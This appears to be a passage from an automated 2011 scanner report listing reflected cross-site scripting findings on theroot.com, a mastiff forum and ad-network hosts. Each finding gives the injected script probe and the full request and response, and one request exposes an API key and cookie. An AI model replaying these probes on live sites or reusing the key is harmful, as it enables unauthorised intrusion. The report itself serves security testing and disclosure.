The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 98209"><script>alert(1)</script>e0674eb095a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /multimedia/50-years-black-history98209"><script>alert(1)</script>e0674eb095a?gt1=38002 HTTP/1.1 Host: www.theroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.0.63 (Unix) Last-Modified: Wed, 02 Feb 2011 16:18:01 GMT Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Wed, 02 Feb 2011 16:18:02 GMT Date: Wed, 02 Feb 2011 16:18:02 GMT Connection: close Connection: Transfer-Encoding Content-Length: 50675
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr"> <meta name=" ...[SNIP]... <meta property="og:url" content="http://www.theroot.com/multimedia/50-years-black-history98209"><script>alert(1)</script>e0674eb095a?gt1=38002"/> ...[SNIP]...
The value of the gt1 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9d156"><script>alert(1)</script>bf469ccbd18 was submitted in the gt1 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /multimedia/50-years-black-history?gt1=380029d156"><script>alert(1)</script>bf469ccbd18 HTTP/1.1 Host: www.theroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.0.63 (Unix) Last-Modified: Wed, 02 Feb 2011 16:17:50 GMT Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Wed, 02 Feb 2011 16:17:51 GMT Date: Wed, 02 Feb 2011 16:17:51 GMT Connection: close Connection: Transfer-Encoding Content-Length: 96303
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr"> <meta name=" ...[SNIP]... <meta property="og:url" content="http://www.theroot.com/multimedia/50-years-black-history?gt1=380029d156"><script>alert(1)</script>bf469ccbd18"/> ...[SNIP]...
4.544. http://www.theroot.com/multimedia/50-years-black-history [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.theroot.com
Path:
/multimedia/50-years-black-history
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b633c"><script>alert(1)</script>497fa5bdff4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /multimedia/50-years-black-history?gt1=38002&b633c"><script>alert(1)</script>497fa5bdff4=1 HTTP/1.1 Host: www.theroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.0.63 (Unix) Last-Modified: Wed, 02 Feb 2011 16:17:54 GMT Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Wed, 02 Feb 2011 16:17:56 GMT Date: Wed, 02 Feb 2011 16:17:56 GMT Connection: close Connection: Transfer-Encoding Content-Length: 96334
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr"> <meta name=" ...[SNIP]... <meta property="og:url" content="http://www.theroot.com/multimedia/50-years-black-history?gt1=38002&b633c"><script>alert(1)</script>497fa5bdff4=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2bdb"><script>alert(1)</script>5626f52969 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /viewsb2bdb"><script>alert(1)</script>5626f52969/2011/young-futurists?gt1=38002 HTTP/1.1 Host: www.theroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache/2.0.63 (Unix) Last-Modified: Wed, 02 Feb 2011 16:17:57 GMT Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Wed, 02 Feb 2011 16:17:57 GMT Date: Wed, 02 Feb 2011 16:17:57 GMT Content-Length: 15066 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr"> <meta name=" ...[SNIP]... <meta property="og:url" content="http://www.theroot.com/viewsb2bdb"><script>alert(1)</script>5626f52969/2011/young-futurists?gt1=38002"/> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e1745"%3bfde0c798c36 was submitted in the REST URL parameter 2. This input was echoed as e1745";fde0c798c36 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /views/2011e1745"%3bfde0c798c36/young-futurists?gt1=38002 HTTP/1.1 Host: www.theroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.0.63 (Unix) Last-Modified: Wed, 02 Feb 2011 16:18:03 GMT Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Wed, 02 Feb 2011 16:18:05 GMT Date: Wed, 02 Feb 2011 16:18:05 GMT Connection: close Connection: Transfer-Encoding Content-Length: 49473
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 15823"><script>alert(1)</script>9152561effe was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /views/201115823"><script>alert(1)</script>9152561effe/young-futurists?gt1=38002 HTTP/1.1 Host: www.theroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.0.63 (Unix) Last-Modified: Wed, 02 Feb 2011 16:17:59 GMT Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Wed, 02 Feb 2011 16:18:01 GMT Date: Wed, 02 Feb 2011 16:18:01 GMT Connection: close Connection: Transfer-Encoding Content-Length: 49685
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr"> <meta name=" ...[SNIP]... <meta property="og:url" content="http://www.theroot.com/views/201115823"><script>alert(1)</script>9152561effe/young-futurists?gt1=38002"/> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1903c"><script>alert(1)</script>6042e8de7d9 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /views/2011/young-futurists1903c"><script>alert(1)</script>6042e8de7d9?gt1=38002 HTTP/1.1 Host: www.theroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.0.63 (Unix) Last-Modified: Wed, 02 Feb 2011 16:18:12 GMT Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Wed, 02 Feb 2011 16:18:13 GMT Date: Wed, 02 Feb 2011 16:18:13 GMT Connection: close Connection: Transfer-Encoding Content-Length: 49637
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr"> <meta name=" ...[SNIP]... <meta property="og:url" content="http://www.theroot.com/views/2011/young-futurists1903c"><script>alert(1)</script>6042e8de7d9?gt1=38002"/> ...[SNIP]...
The value of the gt1 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9263e"><script>alert(1)</script>7ef5e7e7b85 was submitted in the gt1 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /views/2011/young-futurists?gt1=380029263e"><script>alert(1)</script>7ef5e7e7b85 HTTP/1.1 Host: www.theroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.0.63 (Unix) Last-Modified: Wed, 02 Feb 2011 16:17:50 GMT Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Wed, 02 Feb 2011 16:17:51 GMT Date: Wed, 02 Feb 2011 16:17:51 GMT Connection: close Connection: Transfer-Encoding Content-Length: 62036
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr"> <meta name=" ...[SNIP]... <meta property="og:url" content="http://www.theroot.com/views/2011/young-futurists?gt1=380029263e"><script>alert(1)</script>7ef5e7e7b85"/> ...[SNIP]...
4.550. http://www.theroot.com/views/2011/young-futurists [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.theroot.com
Path:
/views/2011/young-futurists
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1cfba"><script>alert(1)</script>c2fd8dd267f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /views/2011/young-futurists?gt1=38002&1cfba"><script>alert(1)</script>c2fd8dd267f=1 HTTP/1.1 Host: www.theroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.0.63 (Unix) Last-Modified: Wed, 02 Feb 2011 16:17:55 GMT Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Wed, 02 Feb 2011 16:17:56 GMT Date: Wed, 02 Feb 2011 16:17:56 GMT Connection: close Connection: Transfer-Encoding Content-Length: 62067
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr"> <meta name=" ...[SNIP]... <meta property="og:url" content="http://www.theroot.com/views/2011/young-futurists?gt1=38002&1cfba"><script>alert(1)</script>c2fd8dd267f=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload daeb9"><script>alert(1)</script>f3e0aacca45 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /viewsdaeb9"><script>alert(1)</script>f3e0aacca45/meet-25-people-who-will-change-our-world?gt1=38002 HTTP/1.1 Host: www.theroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Server: Apache/2.0.63 (Unix) Last-Modified: Wed, 02 Feb 2011 16:17:57 GMT Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Wed, 02 Feb 2011 16:17:57 GMT Date: Wed, 02 Feb 2011 16:17:57 GMT Content-Length: 15186 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr"> <meta name=" ...[SNIP]... <meta property="og:url" content="http://www.theroot.com/viewsdaeb9"><script>alert(1)</script>f3e0aacca45/meet-25-people-who-will-change-our-world?gt1=38002"/> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1f68f"%3b6502cd69799 was submitted in the REST URL parameter 2. This input was echoed as 1f68f";6502cd69799 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /views/meet-25-people-who-will-change-our-world1f68f"%3b6502cd69799?gt1=38002 HTTP/1.1 Host: www.theroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.0.63 (Unix) Last-Modified: Wed, 02 Feb 2011 16:18:08 GMT Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Wed, 02 Feb 2011 16:18:10 GMT Date: Wed, 02 Feb 2011 16:18:10 GMT Connection: close Connection: Transfer-Encoding Content-Length: 49659
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 648c7"><script>alert(1)</script>e0cb09e666d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /views/meet-25-people-who-will-change-our-world648c7"><script>alert(1)</script>e0cb09e666d?gt1=38002 HTTP/1.1 Host: www.theroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.0.63 (Unix) Last-Modified: Wed, 02 Feb 2011 16:18:05 GMT Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Wed, 02 Feb 2011 16:18:06 GMT Date: Wed, 02 Feb 2011 16:18:06 GMT Connection: close Connection: Transfer-Encoding Content-Length: 49871
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr"> <meta name=" ...[SNIP]... <meta property="og:url" content="http://www.theroot.com/views/meet-25-people-who-will-change-our-world648c7"><script>alert(1)</script>e0cb09e666d?gt1=38002"/> ...[SNIP]...
The value of the gt1 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e4e7c"><script>alert(1)</script>6bc14871c67 was submitted in the gt1 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /views/meet-25-people-who-will-change-our-world?gt1=38002e4e7c"><script>alert(1)</script>6bc14871c67 HTTP/1.1 Host: www.theroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.0.63 (Unix) Last-Modified: Wed, 02 Feb 2011 16:17:48 GMT Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Wed, 02 Feb 2011 16:17:49 GMT Date: Wed, 02 Feb 2011 16:17:49 GMT Connection: close Connection: Transfer-Encoding Content-Length: 65972
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr"> <meta name=" ...[SNIP]... <meta property="og:url" content="http://www.theroot.com/views/meet-25-people-who-will-change-our-world?gt1=38002e4e7c"><script>alert(1)</script>6bc14871c67"/> ...[SNIP]...
4.555. http://www.theroot.com/views/meet-25-people-who-will-change-our-world [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.theroot.com
Path:
/views/meet-25-people-who-will-change-our-world
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1b4be"><script>alert(1)</script>542e90bad81 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /views/meet-25-people-who-will-change-our-world?gt1=38002&1b4be"><script>alert(1)</script>542e90bad81=1 HTTP/1.1 Host: www.theroot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.0.63 (Unix) Last-Modified: Wed, 02 Feb 2011 16:17:52 GMT Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Wed, 02 Feb 2011 16:17:54 GMT Date: Wed, 02 Feb 2011 16:17:54 GMT Connection: close Connection: Transfer-Encoding Content-Length: 66003
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr"> <meta name=" ...[SNIP]... <meta property="og:url" content="http://www.theroot.com/views/meet-25-people-who-will-change-our-world?gt1=38002&1b4be"><script>alert(1)</script>542e90bad81=1"/> ...[SNIP]...
4.556. http://www.worldmastiffforum.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.worldmastiffforum.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d11e2"><script>alert(1)</script>f6a009cb502 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?d11e2"><script>alert(1)</script>f6a009cb502=1 HTTP/1.1 Host: www.worldmastiffforum.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5ffdd'-alert(1)-'44731edd2a4 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /imp?Z=160x600&s=429613&_salt=975924496&B=10&u=http%3A%2F%2Fad.harrenmedianetwork.com%2F&r=0 HTTP/1.1 Host: ad.harrenmedianetwork.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=5ffdd'-alert(1)-'44731edd2a4
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Set-Cookie: sess=1; path=/; expires=Thu, 03-Feb-2011 19:17:59 GMT; domain=.adnxs.com; HttpOnly Content-Type: text/javascript Date: Wed, 02 Feb 2011 19:17:59 GMT Content-Length: 522 Connection: close
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a72ed'-alert(1)-'fb8e70772e6 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /st?ad_type=iframe&ad_size=160x600§ion=429613 HTTP/1.1 Host: ad.harrenmedianetwork.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=a72ed'-alert(1)-'fb8e70772e6
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Set-Cookie: sess=1; path=/; expires=Thu, 03-Feb-2011 19:17:55 GMT; domain=.adnxs.com; HttpOnly Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:17:55 GMT Content-Length: 600 Connection: close
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e7bea'-alert(1)-'540c8b7b243 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /imp?Z=300x250&s=601669&_salt=1358407199&B=10&u=http%3A%2F%2Fad.scanmedios.com%2F&r=0 HTTP/1.1 Host: ad.scanmedios.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=e7bea'-alert(1)-'540c8b7b243
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Set-Cookie: sess=1; path=/; expires=Thu, 03-Feb-2011 19:18:03 GMT; domain=.adnxs.com; HttpOnly Content-Type: text/javascript Date: Wed, 02 Feb 2011 19:18:03 GMT Content-Length: 515 Connection: close
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 11978'-alert(1)-'712c5dc792d was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /st?ad_type=iframe&ad_size=300x250§ion=601669 HTTP/1.1 Host: ad.scanmedios.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=11978'-alert(1)-'712c5dc792d
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Set-Cookie: sess=1; path=/; expires=Thu, 03-Feb-2011 19:18:01 GMT; domain=.adnxs.com; HttpOnly Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:18:01 GMT Content-Length: 600 Connection: close
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload c87df<script>alert(1)</script>93af6c2ba17 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /v1/profile.json?api_key=6332f8b7316a4d1284e9c1217a367347&callback=Demdex.parseBizo HTTP/1.1 Host: api.bizographics.com Proxy-Connection: keep-alive Referer: c87df<script>alert(1)</script>93af6c2ba17 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: BizoID=675ee53a-bc80-4e01-aa24-ca467accf61f; BizoData=vipSsUXrfhMAyjSpNgk6T39Qb1MaQBj6WQYgisqeiidjQcqwKPXXDYVmkoawipO0Dfq1j0w30sQL9madkf8kozH7KbEYt9Gm0axhaj5XcunNcMDa7Re6IGD4lDrbCisip76D66Ad6xyMUDLG5gCh8GmE4wmnnS9ty8xAR0zwQvdHhisgnnwCNICmFKGa4RXxZnzMYL5lop56fA3rHonFMZ1E3OcisUUeXmc77bBFklv3wQQEmtRXq0x1X4kUBB3CBHNXcl3bEVUJBxdqAyDalXCEoKjwKKB7uI3cisSEIeS2mCWkomhIipNN9QFd9eD8AHJR2FGdEz1hYSFbR3chAU2xWtyvDfXYqVKvKL6ku8zbNip0rRSsokcAYJy1mH2jGbDneEWVJTB2iiSz7mTslQLR60k3zySHYwieie
Response
HTTP/1.1 403 Forbidden Cache-Control: no-cache Content-Type: text/plain Date: Wed, 02 Feb 2011 15:30:05 GMT P3P: CP="NON DSP COR CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM" Pragma: no-cache Server: nginx/0.7.61 Content-Length: 58 Connection: keep-alive
The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload efdaf<script>alert(1)</script>44c02aedbc6 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
